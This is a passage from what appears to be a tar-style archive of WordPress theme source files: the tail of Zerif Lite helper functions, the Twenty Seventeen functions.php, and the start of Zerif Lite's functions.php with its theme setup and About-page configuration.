* @since 1.8.5.31
* @access public
* @return bool
*/
function zerif_check_passed_time( $no_seconds ) {
$activation_time = get_option( 'zerif_time_activated' );
if ( ! empty( $activation_time ) ) {
$current_time = time();
$time_difference = (int) $no_seconds;
if ( $current_time >= $activation_time + $time_difference ) {
return true;
} else {
return false;
}
}
return true;
}
add_action( 'woocommerce_before_checkout_form', 'zerif_coupon_after_order_table_js' );
/**
* Checkout page
* Move the coupon fild and message info after the order table
**/
function zerif_coupon_after_order_table_js() {
wc_enqueue_js(
'
$( $( "div.woocommerce-info, .checkout_coupon" ).detach() ).appendTo( "#zerif-checkout-coupon" );
'
);
}
add_action( 'woocommerce_checkout_order_review', 'zerif_coupon_after_order_table' );
/**
* Checkout page
* Add the id zerif-checkout-coupon to be able to Move the coupon fild and message info after the order table
**/
function zerif_coupon_after_order_table() {
echo '<div id="zerif-checkout-coupon"></div><div style="clear:both"></div>';
}
/**
* Max Mega Menu Zerif Theme
**/
function megamenu_add_theme_zerif_lite_max_menu( $themes ) {
$themes['zerif_lite_max_menu'] = array(
'title' => 'Zerif Lite',
'menu_item_align' => 'right',
'menu_item_link_height' => '70px',
'container_background_from' => 'rgb(255, 255, 255)',
'container_background_to' => 'rgb(255, 255, 255)',
'menu_item_background_hover_from' => 'rgb(255, 255, 255)',
'menu_item_background_hover_to' => 'rgb(255, 255, 255)',
'menu_item_link_font_size' => '15px',
'menu_item_link_color' => 'rgb(49, 49, 49)',
'menu_item_link_color_hover' => 'rgb(233, 102, 86)',
'menu_item_highlight_current' => 'off',
'panel_background_from' => 'rgb(255, 255, 255)',
'panel_background_to' => 'rgb(255, 255, 255)',
'panel_header_font_size' => '15px',
'panel_header_font_weight' => 'normal',
'panel_header_border_color' => '#555',
'panel_font_size' => '15px',
'panel_font_color' => 'rgb(49, 49, 49)',
'panel_font_color_hover' => 'rgb(233, 102, 86)',
'panel_font_family' => 'inherit',
'panel_second_level_font_color' => 'rgb(49, 49, 49)',
'panel_second_level_font_color_hover' => 'rgb(233, 102, 86)',
'panel_second_level_text_transform' => 'none',
'panel_second_level_font' => 'inherit',
'panel_second_level_font_size' => '15px',
'panel_second_level_font_weight' => 'normal',
'panel_second_level_font_weight_hover' => 'normal',
'panel_second_level_text_decoration' => 'none',
'panel_second_level_text_decoration_hover' => 'none',
'panel_second_level_padding_left' => '20px',
'panel_second_level_border_color' => '#555',
'panel_third_level_font_color' => 'rgb(49, 49, 49)',
'panel_third_level_font_color_hover' => 'rgb(233, 102, 86)',
'panel_third_level_font' => 'inherit',
'panel_third_level_font_size' => '15px',
'panel_third_level_padding_left' => '20px',
'flyout_background_from' => 'rgb(255, 255, 255)',
'flyout_background_to' => 'rgb(255, 255, 255)',
'flyout_background_hover_from' => 'rgb(255, 255, 255)',
'flyout_background_hover_to' => 'rgb(255, 255, 255)',
'flyout_link_size' => '15px',
'flyout_link_color' => 'rgb(49, 49, 49)',
'flyout_link_color_hover' => 'rgb(233, 102, 86)',
'flyout_link_family' => 'inherit',
'responsive_breakpoint' => '768px',
'resets' => 'on',
'toggle_background_from' => '#222',
'toggle_background_to' => '#222',
'toggle_font_color' => 'rgb(102, 102, 102)',
'mobile_background_from' => 'rgb(255, 255, 255)',
'mobile_background_to' => 'rgb(255, 255, 255)',
'mobile_menu_item_link_font_size' => '15px',
'mobile_menu_item_link_color' => 'rgb(102, 102, 102)',
'mobile_menu_item_link_text_align' => 'left',
);
return $themes;
}
add_filter( 'megamenu_themes', 'megamenu_add_theme_zerif_lite_max_menu' );
/**
* Function that decide if current date is before a certain date.
*
* @param string $date Date to compare.
* @return bool
*/
function zerif_is_before_date( $date ) {
$countdown_time = strtotime( $date );
$current_time = time();
return $current_time <= $countdown_time;
}
home/xbodynamge/dev/wp-content/themes/twentyseventeen/functions.php 0000604 00000046354 15113524157 0021776 0 ustar 00 <?php
/**
* Twenty Seventeen functions and definitions
*
* @link https://developer.wordpress.org/themes/basics/theme-functions/
*
* @package WordPress
* @subpackage Twenty_Seventeen
* @since 1.0
*/
/**
* Twenty Seventeen only works in WordPress 4.7 or later.
*/
if ( version_compare( $GLOBALS['wp_version'], '4.7-alpha', '<' ) ) {
require get_template_directory() . '/inc/back-compat.php';
return;
}
/**
* Sets up theme defaults and registers support for various WordPress features.
*
* Note that this function is hooked into the after_setup_theme hook, which
* runs before the init hook. The init hook is too late for some features, such
* as indicating support for post thumbnails.
*/
function twentyseventeen_setup() {
/*
* Make theme available for translation.
* Translations can be filed at WordPress.org. See: https://translate.wordpress.org/projects/wp-themes/twentyseventeen
* If you're building a theme based on Twenty Seventeen, use a find and replace
* to change 'twentyseventeen' to the name of your theme in all the template files.
*/
load_theme_textdomain( 'twentyseventeen' );
// Add default posts and comments RSS feed links to head.
add_theme_support( 'automatic-feed-links' );
/*
* Let WordPress manage the document title.
* By adding theme support, we declare that this theme does not use a
* hard-coded <title> tag in the document head, and expect WordPress to
* provide it for us.
*/
add_theme_support( 'title-tag' );
/*
* Enable support for Post Thumbnails on posts and pages.
*
* @link https://developer.wordpress.org/themes/functionality/featured-images-post-thumbnails/
*/
add_theme_support( 'post-thumbnails' );
add_image_size( 'twentyseventeen-featured-image', 2000, 1200, true );
add_image_size( 'twentyseventeen-thumbnail-avatar', 100, 100, true );
// Set the default content width.
$GLOBALS['content_width'] = 525;
// This theme uses wp_nav_menu() in two locations.
register_nav_menus( array(
'top' => __( 'Top Menu', 'twentyseventeen' ),
'social' => __( 'Social Links Menu', 'twentyseventeen' ),
) );
/*
* Switch default core markup for search form, comment form, and comments
* to output valid HTML5.
*/
add_theme_support( 'html5', array(
'comment-form',
'comment-list',
'gallery',
'caption',
) );
/*
* Enable support for Post Formats.
*
* See: https://codex.wordpress.org/Post_Formats
*/
add_theme_support( 'post-formats', array(
'aside',
'image',
'video',
'quote',
'link',
'gallery',
'audio',
) );
// Add theme support for Custom Logo.
add_theme_support( 'custom-logo', array(
'width' => 250,
'height' => 250,
'flex-width' => true,
) );
// Add theme support for selective refresh for widgets.
add_theme_support( 'customize-selective-refresh-widgets' );
/*
* This theme styles the visual editor to resemble the theme style,
* specifically font, colors, and column width.
*/
add_editor_style( array( 'assets/css/editor-style.css', twentyseventeen_fonts_url() ) );
// Load regular editor styles into the new block-based editor.
add_theme_support( 'editor-styles' );
// Load default block styles.
add_theme_support( 'wp-block-styles' );
// Add support for responsive embeds.
add_theme_support( 'responsive-embeds' );
// Define and register starter content to showcase the theme on new sites.
$starter_content = array(
'widgets' => array(
// Place three core-defined widgets in the sidebar area.
'sidebar-1' => array(
'text_business_info',
'search',
'text_about',
),
// Add the core-defined business info widget to the footer 1 area.
'sidebar-2' => array(
'text_business_info',
),
// Put two core-defined widgets in the footer 2 area.
'sidebar-3' => array(
'text_about',
'search',
),
),
// Specify the core-defined pages to create and add custom thumbnails to some of them.
'posts' => array(
'home',
'about' => array(
'thumbnail' => '{{image-sandwich}}',
),
'contact' => array(
'thumbnail' => '{{image-espresso}}',
),
'blog' => array(
'thumbnail' => '{{image-coffee}}',
),
'homepage-section' => array(
'thumbnail' => '{{image-espresso}}',
),
),
// Create the custom image attachments used as post thumbnails for pages.
'attachments' => array(
'image-espresso' => array(
'post_title' => _x( 'Espresso', 'Theme starter content', 'twentyseventeen' ),
'file' => 'assets/images/espresso.jpg', // URL relative to the template directory.
),
'image-sandwich' => array(
'post_title' => _x( 'Sandwich', 'Theme starter content', 'twentyseventeen' ),
'file' => 'assets/images/sandwich.jpg',
),
'image-coffee' => array(
'post_title' => _x( 'Coffee', 'Theme starter content', 'twentyseventeen' ),
'file' => 'assets/images/coffee.jpg',
),
),
// Default to a static front page and assign the front and posts pages.
'options' => array(
'show_on_front' => 'page',
'page_on_front' => '{{home}}',
'page_for_posts' => '{{blog}}',
),
// Set the front page section theme mods to the IDs of the core-registered pages.
'theme_mods' => array(
'panel_1' => '{{homepage-section}}',
'panel_2' => '{{about}}',
'panel_3' => '{{blog}}',
'panel_4' => '{{contact}}',
),
// Set up nav menus for each of the two areas registered in the theme.
'nav_menus' => array(
// Assign a menu to the "top" location.
'top' => array(
'name' => __( 'Top Menu', 'twentyseventeen' ),
'items' => array(
'link_home', // Note that the core "home" page is actually a link in case a static front page is not used.
'page_about',
'page_blog',
'page_contact',
),
),
// Assign a menu to the "social" location.
'social' => array(
'name' => __( 'Social Links Menu', 'twentyseventeen' ),
'items' => array(
'link_yelp',
'link_facebook',
'link_twitter',
'link_instagram',
'link_email',
),
),
),
);
/**
* Filters Twenty Seventeen array of starter content.
*
* @since Twenty Seventeen 1.1
*
* @param array $starter_content Array of starter content.
*/
$starter_content = apply_filters( 'twentyseventeen_starter_content', $starter_content );
add_theme_support( 'starter-content', $starter_content );
}
add_action( 'after_setup_theme', 'twentyseventeen_setup' );
/**
* Set the content width in pixels, based on the theme's design and stylesheet.
*
* Priority 0 to make it available to lower priority callbacks.
*
* @global int $content_width
*/
function twentyseventeen_content_width() {
$content_width = $GLOBALS['content_width'];
// Get layout.
$page_layout = get_theme_mod( 'page_layout' );
// Check if layout is one column.
if ( 'one-column' === $page_layout ) {
if ( twentyseventeen_is_frontpage() ) {
$content_width = 644;
} elseif ( is_page() ) {
$content_width = 740;
}
}
// Check if is single post and there is no sidebar.
if ( is_single() && ! is_active_sidebar( 'sidebar-1' ) ) {
$content_width = 740;
}
/**
* Filter Twenty Seventeen content width of the theme.
*
* @since Twenty Seventeen 1.0
*
* @param int $content_width Content width in pixels.
*/
$GLOBALS['content_width'] = apply_filters( 'twentyseventeen_content_width', $content_width );
}
add_action( 'template_redirect', 'twentyseventeen_content_width', 0 );
/**
* Register custom fonts.
*/
function twentyseventeen_fonts_url() {
$fonts_url = '';
/*
* Translators: If there are characters in your language that are not
* supported by Libre Franklin, translate this to 'off'. Do not translate
* into your own language.
*/
$libre_franklin = _x( 'on', 'Libre Franklin font: on or off', 'twentyseventeen' );
if ( 'off' !== $libre_franklin ) {
$font_families = array();
$font_families[] = 'Libre Franklin:300,300i,400,400i,600,600i,800,800i';
$query_args = array(
'family' => urlencode( implode( '|', $font_families ) ),
'subset' => urlencode( 'latin,latin-ext' ),
);
$fonts_url = add_query_arg( $query_args, 'https://fonts.googleapis.com/css' );
}
return esc_url_raw( $fonts_url );
}
/**
* Add preconnect for Google Fonts.
*
* @since Twenty Seventeen 1.0
*
* @param array $urls URLs to print for resource hints.
* @param string $relation_type The relation type the URLs are printed.
* @return array $urls URLs to print for resource hints.
*/
function twentyseventeen_resource_hints( $urls, $relation_type ) {
if ( wp_style_is( 'twentyseventeen-fonts', 'queue' ) && 'preconnect' === $relation_type ) {
$urls[] = array(
'href' => 'https://fonts.gstatic.com',
'crossorigin',
);
}
return $urls;
}
add_filter( 'wp_resource_hints', 'twentyseventeen_resource_hints', 10, 2 );
/**
* Register widget area.
*
* @link https://developer.wordpress.org/themes/functionality/sidebars/#registering-a-sidebar
*/
function twentyseventeen_widgets_init() {
register_sidebar( array(
'name' => __( 'Blog Sidebar', 'twentyseventeen' ),
'id' => 'sidebar-1',
'description' => __( 'Add widgets here to appear in your sidebar on blog posts and archive pages.', 'twentyseventeen' ),
'before_widget' => '<section id="%1$s" class="widget %2$s">',
'after_widget' => '</section>',
'before_title' => '<h2 class="widget-title">',
'after_title' => '</h2>',
) );
register_sidebar( array(
'name' => __( 'Footer 1', 'twentyseventeen' ),
'id' => 'sidebar-2',
'description' => __( 'Add widgets here to appear in your footer.', 'twentyseventeen' ),
'before_widget' => '<section id="%1$s" class="widget %2$s">',
'after_widget' => '</section>',
'before_title' => '<h2 class="widget-title">',
'after_title' => '</h2>',
) );
register_sidebar( array(
'name' => __( 'Footer 2', 'twentyseventeen' ),
'id' => 'sidebar-3',
'description' => __( 'Add widgets here to appear in your footer.', 'twentyseventeen' ),
'before_widget' => '<section id="%1$s" class="widget %2$s">',
'after_widget' => '</section>',
'before_title' => '<h2 class="widget-title">',
'after_title' => '</h2>',
) );
}
add_action( 'widgets_init', 'twentyseventeen_widgets_init' );
/**
* Replaces "[...]" (appended to automatically generated excerpts) with ... and
* a 'Continue reading' link.
*
* @since Twenty Seventeen 1.0
*
* @param string $link Link to single post/page.
* @return string 'Continue reading' link prepended with an ellipsis.
*/
function twentyseventeen_excerpt_more( $link ) {
if ( is_admin() ) {
return $link;
}
$link = sprintf( '<p class="link-more"><a href="%1$s" class="more-link">%2$s</a></p>',
esc_url( get_permalink( get_the_ID() ) ),
/* translators: %s: Name of current post */
sprintf( __( 'Continue reading<span class="screen-reader-text"> "%s"</span>', 'twentyseventeen' ), get_the_title( get_the_ID() ) )
);
return ' … ' . $link;
}
add_filter( 'excerpt_more', 'twentyseventeen_excerpt_more' );
/**
* Handles JavaScript detection.
*
* Adds a `js` class to the root `<html>` element when JavaScript is detected.
*
* @since Twenty Seventeen 1.0
*/
function twentyseventeen_javascript_detection() {
echo "<script>(function(html){html.className = html.className.replace(/\bno-js\b/,'js')})(document.documentElement);</script>\n";
}
add_action( 'wp_head', 'twentyseventeen_javascript_detection', 0 );
/**
* Add a pingback url auto-discovery header for singularly identifiable articles.
*/
function twentyseventeen_pingback_header() {
if ( is_singular() && pings_open() ) {
printf( '<link rel="pingback" href="%s">' . "\n", get_bloginfo( 'pingback_url' ) );
}
}
add_action( 'wp_head', 'twentyseventeen_pingback_header' );
/**
* Display custom color CSS.
*/
function twentyseventeen_colors_css_wrap() {
if ( 'custom' !== get_theme_mod( 'colorscheme' ) && ! is_customize_preview() ) {
return;
}
require_once( get_parent_theme_file_path( '/inc/color-patterns.php' ) );
$hue = absint( get_theme_mod( 'colorscheme_hue', 250 ) );
?>
<style type="text/css" id="custom-theme-colors" <?php if ( is_customize_preview() ) { echo 'data-hue="' . $hue . '"'; } ?>>
<?php echo twentyseventeen_custom_colors_css(); ?>
</style>
<?php }
add_action( 'wp_head', 'twentyseventeen_colors_css_wrap' );
/**
* Enqueue scripts and styles.
*/
function twentyseventeen_scripts() {
// Add custom fonts, used in the main stylesheet.
wp_enqueue_style( 'twentyseventeen-fonts', twentyseventeen_fonts_url(), array(), null );
// Theme stylesheet.
wp_enqueue_style( 'twentyseventeen-style', get_stylesheet_uri() );
// Theme block stylesheet.
wp_enqueue_style( 'twentyseventeen-block-style', get_theme_file_uri( '/assets/css/blocks.css' ), array( 'twentyseventeen-style' ), '1.0' );
// Load the dark colorscheme.
if ( 'dark' === get_theme_mod( 'colorscheme', 'light' ) || is_customize_preview() ) {
wp_enqueue_style( 'twentyseventeen-colors-dark', get_theme_file_uri( '/assets/css/colors-dark.css' ), array( 'twentyseventeen-style' ), '1.0' );
}
// Load the Internet Explorer 9 specific stylesheet, to fix display issues in the Customizer.
if ( is_customize_preview() ) {
wp_enqueue_style( 'twentyseventeen-ie9', get_theme_file_uri( '/assets/css/ie9.css' ), array( 'twentyseventeen-style' ), '1.0' );
wp_style_add_data( 'twentyseventeen-ie9', 'conditional', 'IE 9' );
}
// Load the Internet Explorer 8 specific stylesheet.
wp_enqueue_style( 'twentyseventeen-ie8', get_theme_file_uri( '/assets/css/ie8.css' ), array( 'twentyseventeen-style' ), '1.0' );
wp_style_add_data( 'twentyseventeen-ie8', 'conditional', 'lt IE 9' );
// Load the html5 shiv.
wp_enqueue_script( 'html5', get_theme_file_uri( '/assets/js/html5.js' ), array(), '3.7.3' );
wp_script_add_data( 'html5', 'conditional', 'lt IE 9' );
wp_enqueue_script( 'twentyseventeen-skip-link-focus-fix', get_theme_file_uri( '/assets/js/skip-link-focus-fix.js' ), array(), '1.0', true );
$twentyseventeen_l10n = array(
'quote' => twentyseventeen_get_svg( array( 'icon' => 'quote-right' ) ),
);
if ( has_nav_menu( 'top' ) ) {
wp_enqueue_script( 'twentyseventeen-navigation', get_theme_file_uri( '/assets/js/navigation.js' ), array( 'jquery' ), '1.0', true );
$twentyseventeen_l10n['expand'] = __( 'Expand child menu', 'twentyseventeen' );
$twentyseventeen_l10n['collapse'] = __( 'Collapse child menu', 'twentyseventeen' );
$twentyseventeen_l10n['icon'] = twentyseventeen_get_svg( array( 'icon' => 'angle-down', 'fallback' => true ) );
}
wp_enqueue_script( 'twentyseventeen-global', get_theme_file_uri( '/assets/js/global.js' ), array( 'jquery' ), '1.0', true );
wp_enqueue_script( 'jquery-scrollto', get_theme_file_uri( '/assets/js/jquery.scrollTo.js' ), array( 'jquery' ), '2.1.2', true );
wp_localize_script( 'twentyseventeen-skip-link-focus-fix', 'twentyseventeenScreenReaderText', $twentyseventeen_l10n );
if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
wp_enqueue_script( 'comment-reply' );
}
}
add_action( 'wp_enqueue_scripts', 'twentyseventeen_scripts' );
/**
* Enqueue styles for the block-based editor.
*
* @since Twenty Seventeen 1.8
*/
function twentyseventeen_block_editor_styles() {
// Block styles.
wp_enqueue_style( 'twentyseventeen-block-editor-style', get_theme_file_uri( '/assets/css/editor-blocks.css' ) );
// Add custom fonts.
wp_enqueue_style( 'twentyseventeen-fonts', twentyseventeen_fonts_url(), array(), null );
}
add_action( 'enqueue_block_editor_assets', 'twentyseventeen_block_editor_styles' );
/**
* Add custom image sizes attribute to enhance responsive image functionality
* for content images.
*
* @since Twenty Seventeen 1.0
*
* @param string $sizes A source size value for use in a 'sizes' attribute.
* @param array $size Image size. Accepts an array of width and height
* values in pixels (in that order).
* @return string A source size value for use in a content image 'sizes' attribute.
*/
function twentyseventeen_content_image_sizes_attr( $sizes, $size ) {
$width = $size[0];
if ( 740 <= $width ) {
$sizes = '(max-width: 706px) 89vw, (max-width: 767px) 82vw, 740px';
}
if ( is_active_sidebar( 'sidebar-1' ) || is_archive() || is_search() || is_home() || is_page() ) {
if ( ! ( is_page() && 'one-column' === get_theme_mod( 'page_options' ) ) && 767 <= $width ) {
$sizes = '(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px';
}
}
return $sizes;
}
add_filter( 'wp_calculate_image_sizes', 'twentyseventeen_content_image_sizes_attr', 10, 2 );
/**
* Filter the `sizes` value in the header image markup.
*
* @since Twenty Seventeen 1.0
*
* @param string $html The HTML image tag markup being filtered.
* @param object $header The custom header object returned by 'get_custom_header()'.
* @param array $attr Array of the attributes for the image tag.
* @return string The filtered header image HTML.
*/
function twentyseventeen_header_image_tag( $html, $header, $attr ) {
if ( isset( $attr['sizes'] ) ) {
$html = str_replace( $attr['sizes'], '100vw', $html );
}
return $html;
}
add_filter( 'get_header_image_tag', 'twentyseventeen_header_image_tag', 10, 3 );
/**
* Add custom image sizes attribute to enhance responsive image functionality
* for post thumbnails.
*
* @since Twenty Seventeen 1.0
*
* @param array $attr Attributes for the image markup.
* @param int $attachment Image attachment ID.
* @param array $size Registered image size or flat array of height and width dimensions.
* @return array The filtered attributes for the image markup.
*/
function twentyseventeen_post_thumbnail_sizes_attr( $attr, $attachment, $size ) {
if ( is_archive() || is_search() || is_home() ) {
$attr['sizes'] = '(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px';
} else {
$attr['sizes'] = '100vw';
}
return $attr;
}
add_filter( 'wp_get_attachment_image_attributes', 'twentyseventeen_post_thumbnail_sizes_attr', 10, 3 );
/**
* Use front-page.php when Front page displays is set to a static page.
*
* @since Twenty Seventeen 1.0
*
* @param string $template front-page.php.
*
* @return string The template to be used: blank if is_home() is true (defaults to index.php), else $template.
*/
function twentyseventeen_front_page_template( $template ) {
return is_home() ? '' : $template;
}
add_filter( 'frontpage_template', 'twentyseventeen_front_page_template' );
/**
* Modifies tag cloud widget arguments to display all tags in the same font size
* and use list format for better accessibility.
*
* @since Twenty Seventeen 1.4
*
* @param array $args Arguments for tag cloud widget.
* @return array The filtered arguments for tag cloud widget.
*/
function twentyseventeen_widget_tag_cloud_args( $args ) {
$args['largest'] = 1;
$args['smallest'] = 1;
$args['unit'] = 'em';
$args['format'] = 'list';
return $args;
}
add_filter( 'widget_tag_cloud_args', 'twentyseventeen_widget_tag_cloud_args' );
/**
* Implement the Custom Header feature.
*/
require get_parent_theme_file_path( '/inc/custom-header.php' );
/**
* Custom template tags for this theme.
*/
require get_parent_theme_file_path( '/inc/template-tags.php' );
/**
* Additional features to allow styling of the templates.
*/
require get_parent_theme_file_path( '/inc/template-functions.php' );
/**
* Customizer additions.
*/
require get_parent_theme_file_path( '/inc/customizer.php' );
/**
* SVG icons functions and filters.
*/
require get_parent_theme_file_path( '/inc/icon-functions.php' );
home/xbodynamge/dev/wp-content/themes/zerif-lite/functions.php 0000644 00000240041 15113561125 0020566 0 ustar 00 <?php
/**
* Zerif Lite functions and definitions
*
* @package zerif-lite
*/
$vendor_file = trailingslashit( get_template_directory() ) . 'vendor/autoload.php';
if ( is_readable( $vendor_file ) ) {
require_once $vendor_file;
}
if ( ! defined( 'WPFORMS_SHAREASALE_ID' ) ) {
define( 'WPFORMS_SHAREASALE_ID', '848264' );
}
add_filter( 'themeisle_sdk_products', 'zerif_load_sdk' );
/**
* Loads products array.
*
* @param array $products All products.
*
* @return array Products array.
*/
function zerif_load_sdk( $products ) {
$products[] = get_template_directory() . '/style.css';
return $products;
}
if ( ! defined( 'ELEMENTOR_PARTNER_ID' ) ) {
define( 'ELEMENTOR_PARTNER_ID', 2112 );
}
define( 'ZERIF_LITE_VERSION', '1.8.5.48' );
/**
* Main setup function
*/
function zerif_setup() {
global $content_width;
if ( ! isset( $content_width ) ) {
$content_width = 640;
}
/*
* Make theme available for translation.
* Translations can be filed in the /languages/ directory.
* If you're building a theme based on zerif, use a find and replace
* to change 'zerif-lite' to the name of your theme in all the template files
*/
load_theme_textdomain( 'zerif-lite', get_template_directory() . '/languages' );
add_theme_support( 'automatic-feed-links' );
/*
* Enable support for Post Thumbnails on posts and pages.
*/
add_theme_support( 'post-thumbnails' );
/* Set the image size by cropping the image */
add_image_size( 'zerif-post-thumbnail', 250, 250, true );
add_image_size( 'zerif-post-thumbnail-large', 750, 500, true ); /* blog thumbnail */
add_image_size( 'zerif-post-thumbnail-large-table', 600, 300, true ); /* blog thumbnail for table */
add_image_size( 'zerif-post-thumbnail-large-mobile', 400, 200, true ); /* blog thumbnail for mobile */
add_image_size( 'zerif_project_photo', 285, 214, true );
add_image_size( 'zerif_our_team_photo', 174, 174, true );
/* Register primary menu */
register_nav_menus(
array(
'primary' => __( 'Primary Menu', 'zerif-lite' ),
)
);
/* Enable support for Post Formats. */
add_theme_support( 'post-formats', array( 'aside', 'image', 'video', 'quote', 'link' ) );
/* Setup the WordPress core custom background feature. */
if ( file_exists( get_stylesheet_directory() . '/images/bg.jpg' ) ) {
$zerif_default_image = get_stylesheet_directory_uri() . '/images/bg.jpg';
} else {
$zerif_default_image = get_template_directory_uri() . '/images/bg.jpg';
}
add_theme_support(
'custom-background',
apply_filters(
'zerif_custom_background_args',
array(
'default-color' => 'ffffff',
'default-image' => $zerif_default_image,
)
)
);
/* Enable support for HTML5 markup. */
add_theme_support(
'html5',
array(
'comment-list',
'search-form',
'comment-form',
'gallery',
)
);
/* Enable support for title-tag */
add_theme_support( 'title-tag' );
/* Enable support for custom logo */
add_theme_support(
'custom-logo',
array(
'flex-width' => true,
)
);
/* Custom template tags for this theme. */
require get_template_directory() . '/inc/template-tags.php';
/* Custom functions that act independently of the theme templates. */
require get_template_directory() . '/inc/extras.php';
/* Customizer additions. */
require get_template_directory() . '/inc/customizer.php';
/* tgm-plugin-activation */
require_once get_template_directory() . '/class-tgm-plugin-activation.php';
/* preview demo */
require_once get_template_directory() . '/ti-prevdem/init-prevdem.php';
/* woocommerce support */
add_theme_support( 'woocommerce' );
add_theme_support( 'wc-product-gallery-zoom' );
add_theme_support( 'wc-product-gallery-lightbox' );
add_theme_support( 'wc-product-gallery-slider' );
/* selective widget refresh */
add_theme_support( 'customize-selective-refresh-widgets' );
/**
* HOOKS
*/
/* Enables user customization via WordPress plugin API. */
require get_template_directory() . '/inc/hooks.php';
add_action( 'zerif_404_title', 'zerif_404_title_function' ); // Outputs the title on 404 pages
add_action( 'zerif_404_content', 'zerif_404_content_function' ); // Outputs a helpful message on 404 pages
add_action( 'zerif_page_header', 'zerif_page_header_function' ); // Outputs the title on pages
add_action( 'zerif_page_header_title_archive', 'zerif_page_header_title_archive_function' ); // Outputs the title on archive pages
add_action( 'zerif_page_term_description_archive', 'zerif_page_term_description_archive_function' ); // Outputs the term description
add_action( 'zerif_footer_widgets', 'zerif_footer_widgets_function' ); // Outputs the 3 sidebars in footer
add_action( 'zerif_our_focus_header_title', 'zerif_our_focus_header_title_function' ); // Outputs the title in Our focus section
add_action( 'zerif_our_focus_header_subtitle', 'zerif_our_focus_header_subtitle_function' ); // Outputs the subtitle in Our focus section
add_action( 'zerif_our_team_header_title', 'zerif_our_team_header_title_function' ); // Outputs the title in Our team section
add_action( 'zerif_our_team_header_subtitle', 'zerif_our_team_header_subtitle_function' ); // Outputs the subtitle in Our team section
add_action( 'zerif_testimonials_header_title', 'zerif_testimonials_header_title_function' ); // Outputs the title in Testimonials section
add_action( 'zerif_testimonials_header_subtitle', 'zerif_testimonials_header_subtitle_function' ); // Outputs the subtitle in Testimonials section
add_action( 'zerif_latest_news_header_title', 'zerif_latest_news_header_title_function' ); // Outputs the title in Latest news section
add_action( 'zerif_latest_news_header_subtitle', 'zerif_latest_news_header_subtitle_function' ); // Outputs the subtitle in Latest news section
add_action( 'zerif_big_title_text', 'zerif_big_title_text_function' ); // Outputs the text in Big title section
add_action( 'zerif_about_us_header_title', 'zerif_about_us_header_title_function' ); // Outputs the title in About us section
add_action( 'zerif_about_us_header_subtitle', 'zerif_about_us_header_subtitle_function' ); // Outputs the subtitle in About us section
add_action( 'zerif_sidebar', 'zerif_sidebar_function' ); // Outputs the sidebar
add_action( 'zerif_primary_navigation', 'zerif_primary_navigation_function' ); // Outputs the navigation menu
add_filter( 'excerpt_more', 'zerif_excerpt_more' );
require_once( trailingslashit( get_template_directory() ) . 'inc/class/class-customizer-theme-info-control/class-customizer-theme-info-root.php' );
/**
* About page class
*/
require_once get_template_directory() . '/ti-about-page/class-ti-about-page.php';
/*
* About page instance
*/
$config = array(
// Menu name under Appearance.
'menu_name' => __( 'About Zerif Lite', 'zerif-lite' ),
// Page title.
'page_name' => __( 'About Zerif Lite', 'zerif-lite' ),
// Main welcome title
/* translators: Theme Name */
'welcome_title' => sprintf( __( 'Welcome to %s! - Version ', 'zerif-lite' ), 'Zerif Lite' ),
// Main welcome content
'welcome_content' => esc_html__( 'Zerif LITE is a free one page WordPress theme. It\'s perfect for web agency business,corporate business,personal and parallax business portfolio, photography sites and freelancer.Is built on BootStrap with parallax support, is responsive, clean, modern, flat and minimal. Zerif Lite is ecommerce (WooCommerce) Compatible, WPML, RTL, Retina-Ready, SEO Friendly and with parallax, full screen image is one of the best business themes.', 'zerif-lite' ),
/**
* Tabs array.
*
* The key needs to be ONLY consisted from letters and underscores. If we want to define outside the class a function to render the tab,
* the will be the name of the function which will be used to render the tab content.
*/
'tabs' => array(
'getting_started' => __( 'Getting Started', 'zerif-lite' ),
'recommended_actions' => __( 'Recommended Actions', 'zerif-lite' ),
'recommended_plugins' => __( 'Useful Plugins', 'zerif-lite' ),
'support' => __( 'Support', 'zerif-lite' ),
'changelog' => __( 'Changelog', 'zerif-lite' ),
'free_pro' => __( 'Free VS PRO', 'zerif-lite' ),
),
// Support content tab.
'support_content' => array(
'first' => array(
'title' => esc_html__( 'Contact Support', 'zerif-lite' ),
'icon' => 'dashicons dashicons-sos',
'text' => esc_html__( 'We want to make sure you have the best experience using Zerif Lite and that is why we gathered here all the necessary informations for you. We hope you will enjoy using Zerif Lite, as much as we enjoy creating great products.', 'zerif-lite' ),
'button_label' => esc_html__( 'Contact Support', 'zerif-lite' ),
'button_link' => esc_url( 'https://themeisle.com/contact/' ),
'is_button' => true,
'is_new_tab' => true,
),
'second' => array(
'title' => esc_html__( 'Documentation', 'zerif-lite' ),
'icon' => 'dashicons dashicons-book-alt',
'text' => esc_html__( 'Need more details? Please check our full documentation for detailed information on how to use Zerif Lite.', 'zerif-lite' ),
'button_label' => esc_html__( 'Read full documentation', 'zerif-lite' ),
'button_link' => 'https://docs.themeisle.com/article/5-zerif-lite-documentation',
'is_button' => false,
'is_new_tab' => true,
),
'third' => array(
'title' => esc_html__( 'Changelog', 'zerif-lite' ),
'icon' => 'dashicons dashicons-portfolio',
'text' => esc_html__( 'Want to get the gist on the latest theme changes? Just consult our changelog below to get a taste of the recent fixes and features implemented.', 'zerif-lite' ),
'button_label' => esc_html__( 'Changelog', 'zerif-lite' ),
'button_link' => esc_url( admin_url( 'themes.php?page=zerif-lite-welcome&tab=changelog&show=yes' ) ),
'is_button' => false,
'is_new_tab' => false,
),
'fourth' => array(
'title' => esc_html__( 'Create a child theme', 'zerif-lite' ),
'icon' => 'dashicons dashicons-admin-customizer',
'text' => esc_html__( "If you want to make changes to the theme's files, those changes are likely to be overwritten when you next update the theme. In order to prevent that from happening, you need to create a child theme. For this, please follow the documentation below.", 'zerif-lite' ),
'button_label' => esc_html__( 'View how to do this', 'zerif-lite' ),
'button_link' => 'https://docs.themeisle.com/article/14-how-to-create-a-child-theme',
'is_button' => false,
'is_new_tab' => true,
),
'fifth' => array(
'title' => esc_html__( 'Speed up your site', 'zerif-lite' ),
'icon' => 'dashicons dashicons-controls-skipforward',
'text' => esc_html__( 'If you find yourself in the situation where everything on your site is running very slow, you might consider having a look at the below documentation where you will find the most common issues causing this and possible solutions for each of the issues.', 'zerif-lite' ),
'button_label' => esc_html__( 'View how to do this', 'zerif-lite' ),
'button_link' => 'https://docs.themeisle.com/article/63-speed-up-your-wordpress-site',
'is_button' => false,
'is_new_tab' => true,
),
'sixth' => array(
'title' => esc_html__( 'Build a landing page with a drag-and-drop content builder', 'zerif-lite' ),
